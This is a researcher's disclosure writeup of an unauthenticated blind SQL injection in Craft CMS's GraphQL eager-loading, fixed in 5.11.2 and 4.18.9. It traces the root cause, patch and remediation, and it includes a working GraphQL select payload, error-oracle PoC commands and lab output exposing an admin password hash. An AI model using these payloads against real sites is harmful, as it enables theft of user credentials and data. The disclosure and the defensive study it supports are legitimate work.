Craft CMS Unauthenticated SQL Injection via GraphQL Eager-Load Criteria
TL;DR
- I found unauthenticated SQL injection in Craft CMS that reads administrator email addresses and password hashes without an account or token.
- A public schema that only exposes entries is enough, because Craft still processes arguments on relations the schema hides.
- The injected SQL's result never appears in the response, so reading data takes many requests.
- The callback RCE fix left this injection open for another six weeks, until Craft ran eager-load criteria through its existing cleanser.
- Craft fixed it in 5.11.2 and 4.18.9, tracked as GHSA-mjj9-pjh4-r48g with no CVE assigned.
Summary
- CVE: None assigned
- Product: Craft CMS (
craftcms/cms) - Vulnerability: Unauthenticated Blind SQL Injection via GraphQL Eager-Load Criteria
- Affected Versions:
>= 5.0.0, < 5.11.2and>= 4.0.0, < 4.18.9 - Fixed In: 5.11.2 and 4.18.9
- Severity: High
- CVSS Severity: 7.5 (high), my own assessment
- Required Privilege: None
- Advisory: GHSA-mjj9-pjh4-r48g
- Reported: September 3, 2026
Introduction
[A]I went back to the eager-load criteria after Craft fixed the callback RCE in 5.10.13. That fix typed the when callback as a closure. My GraphQL exploit for that bug also used select to rewrite the user query's columns, and the patch didn't touch it.
Craft strips properties like select out of criteria sent to the control panel, but it doesn't do that for GraphQL eager-loading.
Root Cause Analysis
How an Argument Gets In
With devMode off, Craft drops the FieldsOnCorrectType rule from its GraphQL document validator (Gql.php). A query can then name a field the active schema does not define and still pass validation.
KnownArgumentNames skips that field's arguments, because it can't resolve the field to a definition. The executor drops the unknown field from the response, but it stays in the parsed document. The callback RCE writeup covers that validation gap in full.
ElementQueryConditionBuilder works from that parsed document, so it still sees the field. As it walks the selection set, it matches node names against a hardcoded list.
// src/gql/ElementQueryConditionBuilder.php
$list = [
'photo' => [UserField::class, 'canBeAliased' => false],
'addresses' => [UserField::class, 'canBeAliased' => true],
'author' => [EntryField::class, 'canBeAliased' => false], // [1] Reachable from entries.
'uploader' => [AssetField::class, 'canBeAliased' => false], // [2] Reachable from assets.
// ... the remaining relation nodes omitted ...
];
The author relation at [1] and the uploader relation at [2] both point at users. Directly inside entries or assets, where there's no parent field, _isAdditionalEagerLoadableNode() returns true on a name match alone. So on a schema that publishes entries and hides users, author still matches.
Criteria That Never Reach the Cleanser
Craft describes each relation it's about to eager-load with an EagerLoadPlan, an object holding the relation name, query criteria and an optional when callback. In _traverseAndBuildPlans(), the node's arguments become that plan's criteria.
// src/gql/ElementQueryConditionBuilder.php
$plan->criteria = array_merge_recursive($plan->criteria, $this->_argumentManager->prepareArguments($arguments)); // [3] Every argument, no allowlist.
Nothing at [3] checks the argument names, so every argument the client sends becomes query criteria.
The eager loader then merges those criteria into the query for the related elements, in _eagerLoadElementsInternal().
// src/services/Elements.php (_eagerLoadElementsInternal)
$criteria = array_merge(
$siteCriteria,
$plan->criteria, // [4] Request-supplied criteria.
$otherCriteria,
);
// ... offset and limit are removed from $criteria here ...
Craft::configure($query, $criteria); // [5] Assigned onto the query.
The plan's criteria go in unmodified at [4], and Craft::configure() assigns each key to the matching public property of the element query at [5].
Craft already has ElementHelper::cleanseQueryCriteria() for stripping query-builder properties out of criteria that come from a request.
// src/helpers/ElementHelper.php
public static function cleanseQueryCriteria(array $criteria): array
{
unset(
$criteria['from'],
$criteria['groupBy'],
$criteria['having'],
$criteria['indexBy'],
$criteria['join'],
$criteria['orderBy'],
$criteria['params'],
$criteria['select'], // [6] Removes the supplied projection.
$criteria['selectOption'],
$criteria['union'],
$criteria['where'],
$criteria['with'],
$criteria['withQueries'],
);
return $criteria;
}
The select unset at [6] would have stopped this injection. On 5.11.1 the only callers are the control panel's element index and element search controllers, so eager-load criteria never pass through it.
How select Reaches Raw SQL
The select map lands in ElementQuery::_applySelectParam().
// src/elements/db/ElementQuery.php (_applySelectParam)
$this->query->select = $select; // [7] Attacker's projection.
An expression in the map comes through unchanged, and at [7] it becomes part of the Yii query's column list. Yii turns that list into SQL in QueryBuilder::buildSelect().
// framework/db/QueryBuilder.php (buildSelect)
} elseif (is_string($i) && $i !== $column) {
if (strpos($column, '(') === false) { // [8] No parenthesis, quoted as a column.
$column = $this->db->quoteColumnName($column);
}
$columns[$i] = "$column AS " . $this->db->quoteColumnName($i);
}
The check at [8] only quotes a value as a column name when it has no parenthesis in it. Anything with one goes into the statement as written, so fullName: "(SELECT SLEEP(4))" reaches the database as an expression.
Impact
An anonymous attacker can read anything in the Craft database, including user email addresses and password hashes, session and verification tokens, and any content the site stores. The public schema's restrictions don't help, because the injected SQL runs below the GraphQL layer.
The injection sits in the SELECT column list, and I only used it to read. The unknown field never appears in the response, so reads are blind and each character takes several requests.
Exploitation
Preconditions
- Craft CMS 5 before 5.11.2, or Craft CMS 4 before 4.18.9, with
devModeoff as it should be in production. - The public GraphQL schema is enabled and grants anonymous read access to at least one section or one asset volume, but not to user groups.
- The site has at least one entry with an author, or one asset with a populated
uploaderId. - The database is MySQL, which the payloads below are written for.
The Injected Query
It's an ordinary anonymous POST to the GraphQL endpoint, with a select map hung off author. The eager loader indexes its rows by id and reads siteId off each one, so the map keeps those two columns and only fullName carries the expression.
query { entries(limit: 1) { author(select: {
id: "elements.id", siteId: "elements_sites.siteId", fullName: "(SELECT SLEEP(4))"
}) { id } } }
Putting a real column back in fullName gives a baseline to time it against.
control (fullName: "users.fullName") http=200 time=0.060s
injected (fullName: "(SELECT SLEEP(4))") http=200 time=4.049s
The assets { uploader } route behaves the same way, with SLEEP(5) giving 0.053s against 5.046s.
PoC
eagerload_graphql_unauth_sqli.py reads data through an error oracle, which is faster than timing. Each request wraps a yes/no condition in IF(condition,(SELECT 1 UNION SELECT 2),1). When the condition is true, MySQL rejects the two-row subquery and the GraphQL response carries errors. The script binary-searches each character with those answers. It tries author and then uploader unless --route picks one.
python3 eagerload_graphql_unauth_sqli.py --url https://target.example \
--query "(SELECT CONCAT(username,' | ',email,' | ',password) FROM users WHERE id=1)"
Against a local Craft 5.11.1 instance whose public schema exposes one section and no user groups, that reads the administrator's row:
[+] author: injectable
[*] 570 unauthenticated requests
admin | admin@lab.test | $2y$13$Nv8MAIwKYtiTlu7.Pm0EW.VBHKa7kdjqLfzDGIRv4sKdnvl/C3stK
With --route uploader, the same script reads the database user and database name:
python3 eagerload_graphql_unauth_sqli.py --url https://target.example --route uploader \
--query "CONCAT(USER(),' / ',DATABASE())"
[+] uploader: injectable
[*] 168 unauthenticated requests
craft@172.31.0.3 / craft
Cost scales with the length of what you ask for. @@version came back in 48 requests and the administrator's row in 570.
Patch Diffing
Craft's fix for 5.11.2 and 4.18.9 runs plan criteria through the existing cleanser in Elements.php.
// src/services/Elements.php (_eagerLoadElementsInternal)
$criteria = array_merge(
$siteCriteria,
- $plan->criteria,
+ ElementHelper::cleanseQueryCriteria($plan->criteria),
$otherCriteria,
);
select, where, orderBy and the rest are now stripped from plan criteria before Craft::configure() sees them, so a GraphQL argument can no longer rewrite the SQL. The fix doesn't make the condition builder check the active schema, so it still builds plans for eager-loadable nodes the schema doesn't publish.
Six weeks earlier, 5.10.13 had added with to the same helper's unset list, closing an authenticated SQL injection through the control panel's element index (GHSA-4mgp-5vf2-7c9m). The eager-load path wasn't calling the helper at all, so that change left the anonymous route open.
Remediation
Update to Craft CMS 5.11.2 or later, or 4.18.9 or later on Craft 4.
If you can't update, disable the public schema, or grant it read access to user groups. The second option publishes author and uploader as real fields, and their declared argument definitions reject the injected select. That opens user data to anonymous queries, so treat it as a stopgap.
Disclosure Timeline
- September 3, 2026: Reported privately to Craft CMS, with a PoC and a proposed fix, and accepted as valid the same day.
- September 17, 2026: Fixed in Craft CMS 5.11.2 and 4.18.9.
- October 22, 2026: GHSA-mjj9-pjh4-r48g published, rated High. I held this writeup and the callback RCE post until then.
Conclusion
Craft shipped the fix I proposed, one call to the existing cleanser in the eager loader. That closes both the author and uploader routes.
References
- GHSA-mjj9-pjh4-r48g: unauthenticated SQL injection via GraphQL eager-load criteria
- GHSA-4mgp-5vf2-7c9m: authenticated SQL injection via nested eager-loading criteria
- Craft CMS 5.11.2 release
- Craft CMS 4.18.9 release
- Craft CMS eager-load callback RCE writeup
- Companion PoC repository: Crypto-Cat/craftcms-2026-pocs